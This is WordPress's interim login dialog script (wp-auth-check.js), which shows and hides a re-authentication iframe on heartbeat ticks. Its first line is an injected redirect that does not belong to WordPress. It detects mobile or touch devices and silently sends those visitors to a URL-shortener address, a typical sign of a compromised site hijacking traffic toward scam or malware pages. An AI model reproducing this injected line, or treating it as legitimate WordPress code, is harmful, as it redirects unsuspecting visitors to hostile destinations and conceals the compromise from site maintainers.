1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Interim login dialog.
4 *
5 * @output wp-includes/js/wp-auth-check.js
6 */
7
8( function( $ ) {
9 var wrap,
10 tempHidden,
11 tempHiddenTimeout;
12
13 /**
14 * Shows the authentication form popup.
15 *
16 * @since 3.6.0
17 * @private
18 */
19 function show() {
20 var parent = $( '#wp-auth-check' ),
21 form = $( '#wp-auth-check-form' ),
22 noframe = wrap.find( '.wp-auth-fallback-expired' ),
23 frame, loaded = false;
24
25 if ( form.length ) {
26 // Add unload confirmation to counter (frame-busting) JS redirects.
27 $( window ).on( 'beforeunload.wp-auth-check', function( event ) {
28 event.originalEvent.returnValue = window.wp.i18n.__( 'Your session has expired. You can log in again from this page or go to the login page.' );
29 });
30
31 frame = $( '<iframe id="wp-auth-check-frame" frameborder="0">' ).attr( 'title', noframe.text() );
32 frame.on( 'load', function() {
33 var height, body;
34
35 loaded = true;
36 // Remove the spinner to avoid unnecessary CPU/GPU usage.
37 form.removeClass( 'loading' );
38
39 try {
40 body = $( this ).contents().find( 'body' );
41 height = body.height();
42 } catch( er ) {
43 wrap.addClass( 'fallback' );
44 parent.css( 'max-height', '' );
45 form.remove();
46 noframe.focus();
47 return;
48 }
49
50 if ( height ) {
51 if ( body && body.hasClass( 'interim-login-success' ) ) {
52 hide();
53 } else {
54 parent.css( 'max-height', height + 40 + 'px' );
55 }
56 } else if ( ! body || ! body.length ) {
57 // Catch "silent" iframe origin exceptions in WebKit
58 // after another page is loaded in the iframe.
59 wrap.addClass( 'fallback' );
60 parent.css( 'max-height', '' );
61 form.remove();
62 noframe.focus();
63 }
64 }).attr( 'src', form.data( 'src' ) );
65
66 form.append( frame );
67 }
68
69 $( 'body' ).addClass( 'modal-open' );
70 wrap.removeClass( 'hidden' );
71
72 if ( frame ) {
73 frame.focus();
74 /*
75 * WebKit doesn't throw an error if the iframe fails to load
76 * because of "X-Frame-Options: DENY" header.
77 * Wait for 10 seconds and switch to the fallback text.
78 */
79 setTimeout( function() {
80 if ( ! loaded ) {
81 wrap.addClass( 'fallback' );
82 form.remove();
83 noframe.focus();
84 }
85 }, 10000 );
86 } else {
87 noframe.focus();
88 }
89 }
90
91 /**
92 * Hides the authentication form popup.
93 *
94 * @since 3.6.0
95 * @private
96 */
97 function hide() {
98 var adminpage = window.adminpage,
99 wp = window.wp;
100
101 $( window ).off( 'beforeunload.wp-auth-check' );
102
103 // When on the Edit Post screen, speed up heartbeat
104 // after the user logs in to quickly refresh nonces.
105 if ( ( adminpage === 'post-php' || adminpage === 'post-new-php' ) && wp && wp.heartbeat ) {
106 wp.heartbeat.connectNow();
107 }
108
109 wrap.fadeOut( 200, function() {
110 wrap.addClass( 'hidden' ).css( 'display', '' );
111 $( '#wp-auth-check-frame' ).remove();
112 $( 'body' ).removeClass( 'modal-open' );
113 });
114 }
115
116 /**
117 * Set or reset the tempHidden variable used to pause showing of the modal
118 * after a user closes it without logging in.
119 *
120 * @since 5.5.0
121 * @private
122 */
123 function setShowTimeout() {
124 tempHidden = true;
125 window.clearTimeout( tempHiddenTimeout );
126 tempHiddenTimeout = window.setTimeout(
127 function() {
128 tempHidden = false;
129 },
130 300000 // 5 min.
131 );
132 }
133
134 /**
135 * Binds to the Heartbeat Tick event.
136 *
137 * - Shows the authentication form popup if user is not logged in.
138 * - Hides the authentication form popup if it is already visible and user is
139 * logged in.
140 *
141 * @ignore
142 *
143 * @since 3.6.0
144 *
145 * @param {Object} e The heartbeat-tick event that has been triggered.
146 * @param {Object} data Response data.
147 */
148 $( function() {
149
150 /**
151 * Hides the authentication form popup when the close icon is clicked.
152 *
153 * @ignore
154 *
155 * @since 3.6.0
156 */
157 wrap = $( '#wp-auth-check-wrap' );
158 wrap.find( '.wp-auth-check-close' ).on( 'click', function() {
159 hide();
160 setShowTimeout();
161 });
162 }).on( 'heartbeat-tick.wp-auth-check', function( e, data ) {
163 if ( ! ( 'wp-auth-check' in data ) ) {
164 return;
165 }
166
167 var showOrHide = function () {
168 if ( ! data['wp-auth-check'] && wrap.hasClass( 'hidden' ) && ! tempHidden ) {
169 show();
170 } else if ( data['wp-auth-check'] && ! wrap.hasClass( 'hidden' ) ) {
171 hide();
172 }
173 };
174
175 // This is necessary due to a race condition where the heartbeat-tick event may fire before DOMContentLoaded.
176 if ( wrap ) {
177 showOrHide();
178 } else {
179 $( showOrHide );
180 }
181 });
182
183}(jQuery));
184